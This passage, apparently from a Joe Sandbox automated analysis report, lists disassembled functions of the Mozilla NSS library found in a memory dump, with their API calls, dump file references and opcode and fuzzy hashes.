PK11_IsLoggedIn.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EC3
TlsGetValue.KERNEL32(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB8EF1
PR_Unlock.NSS3 ref: 6CAB8F20

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction ID: a8c0f18761a284da51b50161ab0346d03bb10536ad6d7f152a977a3a1bdb6904
Opcode Fuzzy Hash: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction Fuzzy Hash: 37214B709096069FD700AF39D584699BBF8FF48318F49456EE898ABB41D730E894CBD2

Function 6CAE8970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6CA961C4,?,6CA95639,00000000), ref: 6CAE8991
TlsGetValue.KERNEL32(?,?,?,?,?,6CA95639,00000000), ref: 6CAE89AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE89C6
PR_WaitCondVar.NSS3 ref: 6CAE89F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE8A0C

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 609e00f42bee3a0b6d4c1fe66243c9553a075f62352138d0dcf76ddcc607d628
Instruction ID: 29986c9ffea6c23ffab80e67f5b55e37efdd6d0e31a6bc489ba9c26afa7868e5
Opcode Fuzzy Hash: 609e00f42bee3a0b6d4c1fe66243c9553a075f62352138d0dcf76ddcc607d628
Instruction Fuzzy Hash: 21214BB49056598FCB00AFBCD5841AEBBB4FB09318F154666D89897705E730D4D4CBD2

Function 6CAE8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 1134178da04cbaa7d48e678eed8a3b75d6a769fa0209c129f6e52f15d8633193
Instruction ID: c133f12778dee1ad61f127c2ae7efbb5fb2f848201022738158fa94f22bfd2d3
Opcode Fuzzy Hash: 1134178da04cbaa7d48e678eed8a3b75d6a769fa0209c129f6e52f15d8633193
Instruction Fuzzy Hash: 57212AB4A056059FDB00AFBCD5885AABBB4FB09388F144666DC9897705E730D4D4CBD2

Function 6CAB28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAA80DD), ref: 6CAB28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CAA80DD), ref: 6CAB28D3
PR_Unlock.NSS3(?,?,?,?,?,6CAA80DD), ref: 6CAB28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CAA80DD), ref: 6CAB290E
free.MOZGLUE(?,?,?,?,?,?,6CAA80DD), ref: 6CAB291A

Part of subcall function 6CAA9270: DeleteCriticalSection.KERNEL32(?,?,6CAB5089,?,6CAB3B70,?,?,?,?,?,6CAB5089,6CAAF39B,00000000), ref: 6CAA927F
Part of subcall function 6CAA9270: free.MOZGLUE(?,?,6CAB3B70,?,?,?,?,?,6CAB5089,6CAAF39B,00000000), ref: 6CAA9286
Part of subcall function 6CAA9270: PL_HashTableDestroy.NSS3(?,6CAB3B70,?,?,?,?,?,6CAB5089,6CAAF39B,00000000), ref: 6CAA9292

Part of subcall function 6CAA8B50: TlsGetValue.KERNEL32(00000000,?,6CAB0948,00000000), ref: 6CAA8B6B
Part of subcall function 6CAA8B50: EnterCriticalSection.KERNEL32(?,?,?,6CAB0948,00000000), ref: 6CAA8B80
Part of subcall function 6CAA8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CAB0948,00000000), ref: 6CAA8B8F
Part of subcall function 6CAA8B50: PR_Unlock.NSS3(?,?,?,?,6CAB0948,00000000), ref: 6CAA8BA1
Part of subcall function 6CAA8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CAB0948,00000000), ref: 6CAA8BAC
Part of subcall function 6CAA8B50: free.MOZGLUE(?,?,?,?,?,6CAB0948,00000000), ref: 6CAA8BB8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 94c942892d954b579f5afeb326697ff035f967b3fa37e30333e2869c1d210820
Instruction ID: a12449288ab400bb2a72d9f126e73e15ab0d44ff8ca38581fb464b38338427f0
Opcode Fuzzy Hash: 94c942892d954b579f5afeb326697ff035f967b3fa37e30333e2869c1d210820
Instruction Fuzzy Hash: 2F21FAB5A04B059BDB00BFB8C188569BBF4FF09354F054A6ADC9997700E734E8D9CB92

Function 6CA809E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CA806A2,00000000,?), ref: 6CA809F8
malloc.MOZGLUE(0000001F), ref: 6CA80A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CA80A33

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_Free.NSS3(?), ref: 6CA80A6C
PR_Free.NSS3(?), ref: 6CA80A87

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 266e8cbbcf04bd5bb2d2f65236a29a79509d35f55a8e71508baae99e82aaa698
Instruction ID: 08e3ba113381c25189eee1a60a67d278eedb048c610ed3f59a73f54d9efd3aab
Opcode Fuzzy Hash: 266e8cbbcf04bd5bb2d2f65236a29a79509d35f55a8e71508baae99e82aaa698
Instruction Fuzzy Hash: C51133B2903BC49BEB109F64D98075BB7B8FF01348F48592AD85683E10E734F4A8C790

Function 6CAA8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAB0710), ref: 6CAA8FF1
PR_CallOnce.NSS3(6CBF2158,6CAA9150,00000000,?,?,?,6CAA9138,?,6CAB0710), ref: 6CAA9029
calloc.MOZGLUE(00000001,00000000,?,?,6CAB0710), ref: 6CAA904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAB0710), ref: 6CAA9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAB0710), ref: 6CAA9078

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction ID: 23b5286829fcba3e2f2770c0fb6381451cba4a88216c19f5939696edaecb7d51
Opcode Fuzzy Hash: 945d90c39bccecc04a168cf18695e08acb72e730272aca8165fbe0920c1111a2
Instruction Fuzzy Hash: 2011E5617001516BE7101AFAAD44A6A72ACEB827EDF580131FD94C7F40F753CDDA83A6

Function 6CB204C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CB2461B,-00000004), ref: 6CB204DF
TlsGetValue.KERNEL32(?,00000000,?,6CB2461B,-00000004), ref: 6CB20510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CB20520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CB2461B,-00000004), ref: 6CB20534
GetLastError.KERNEL32(?,6CB2461B,-00000004), ref: 6CB20543

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 22c2ba4420294cff898fca07d23b3cda3ccddc5807e4278af5c70e8b43c6a3e4
Instruction ID: b8b89b8ee440a11fe3b08d8983b27129a558d579878a425a1d53d5fbf428c6a3
Opcode Fuzzy Hash: 22c2ba4420294cff898fca07d23b3cda3ccddc5807e4278af5c70e8b43c6a3e4
Instruction Fuzzy Hash: 46117A70A041C65BDF006F78BCA4B793B64EF01318F604625E82DC3A90EB35D844CB92

Function 6CB24AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6CB24AD1), ref: 6CB24B62
free.MOZGLUE(?,00015180,00000005,?,6CB24AD1), ref: 6CB24B76

Part of subcall function 6CB203C0: CloseHandle.KERNEL32(?,?,?,?,6CB24B27,?,?,00015180,00000005,?,6CB24AD1), ref: 6CB203E0
Part of subcall function 6CB203C0: GetLastError.KERNEL32(?,6CB24B27,?,?,00015180,00000005,?,6CB24AD1), ref: 6CB203FD

Part of subcall function 6CB203C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6CB24B27,?,?,00015180,00000005,?,6CB24AD1), ref: 6CB20419
Part of subcall function 6CB203C0: free.MOZGLUE(?,?,6CB24B27,?,?,00015180,00000005,?,6CB24AD1), ref: 6CB20420

CloseHandle.KERNEL32(?,00015180,00000005,?,6CB24AD1), ref: 6CB24B96
free.MOZGLUE(?,?,6CB24AD1), ref: 6CB24B9D
memset.VCRUNTIME140(6CBF2F9C,00000000,00000090,00015180,00000005,?,6CB24AD1), ref: 6CB24BB2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: 979738653ab7d4e73cbeb499ab83c9e77383b9ccb88ae9ef42987cbf2e2b168a
Instruction ID: bfad8e769706fff7749a5b10803ac0374723c528e90830c93393517398e9efff
Opcode Fuzzy Hash: 979738653ab7d4e73cbeb499ab83c9e77383b9ccb88ae9ef42987cbf2e2b168a
Instruction Fuzzy Hash: FA11D072A02590ABDF20AAA4FC0DB6A7738EB0A758F000025E52D53B10D335A459CBE3

Function 6CABCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAD1E10: TlsGetValue.KERNEL32 ref: 6CAD1E36
Part of subcall function 6CAD1E10: EnterCriticalSection.KERNEL32(?,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAD1E4B
Part of subcall function 6CAD1E10: PR_Unlock.NSS3 ref: 6CAD1E76

free.MOZGLUE(?,6CABD079,00000000,00000001), ref: 6CABCDA5
PK11_FreeSymKey.NSS3(?,6CABD079,00000000,00000001), ref: 6CABCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CABD079,00000000,00000001), ref: 6CABCDCF
DeleteCriticalSection.KERNEL32(?,6CABD079,00000000,00000001), ref: 6CABCDE2
free.MOZGLUE(?), ref: 6CABCDE9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction ID: 0869b6ce865bc48502f1d1b267c0e95d645063b69f27f0bc5df429ae73db586a
Opcode Fuzzy Hash: 395c23e34aa4ed0cbabef91886994f1507c82988bc5418ae7000b9e6f9b5b4c2
Instruction Fuzzy Hash: D011A3B6B01115ABDB00AE65EC45E96773CFB0869D7180121F91997E01D732F4B4C7E1

Function 6CB22CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22CEC

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22D02
PR_EnterMonitor.NSS3(?), ref: 6CB22D1F
PR_ExitMonitor.NSS3(?), ref: 6CB22D42
PR_ExitMonitor.NSS3(?), ref: 6CB22D5B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8aa068aecb84a86fa2e027d5854e9e8082d56c74c9333e7251ad2d1dae27f50e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 2201E5F19102905BE7309F25FC40AABB3A5EB45368F000525E85DC7710D736F8258693

Function 6CB22D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB22D9C

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB22DB2
PR_EnterMonitor.NSS3(?), ref: 6CB22DCF
PR_ExitMonitor.NSS3(?), ref: 6CB22DF2
PR_ExitMonitor.NSS3(?), ref: 6CB22E0B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 153d6095da219100a19c4756327157f4581d832cdf8ad56ac95619d2f4abdb2d
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: D801A5B59102905BEB309E25FC05BDBB7A5EB41368F440535E85D87B10D736F8258693

Function 6CABAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CA999FF,?,?,?,?,?,?,?,?,?,6CA92D6B,?), ref: 6CABAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?,00000000), ref: 6CABAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA92D6B,?,?), ref: 6CABAEA3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 40554e8386ee5784695a16724dee70479c2c9ea1da72c6173ab1c9c7663126ea
Instruction ID: 0cef65190d5da41d6437709f6fb30f3d36474497d4d6ba5fb3cb77c6fd746291
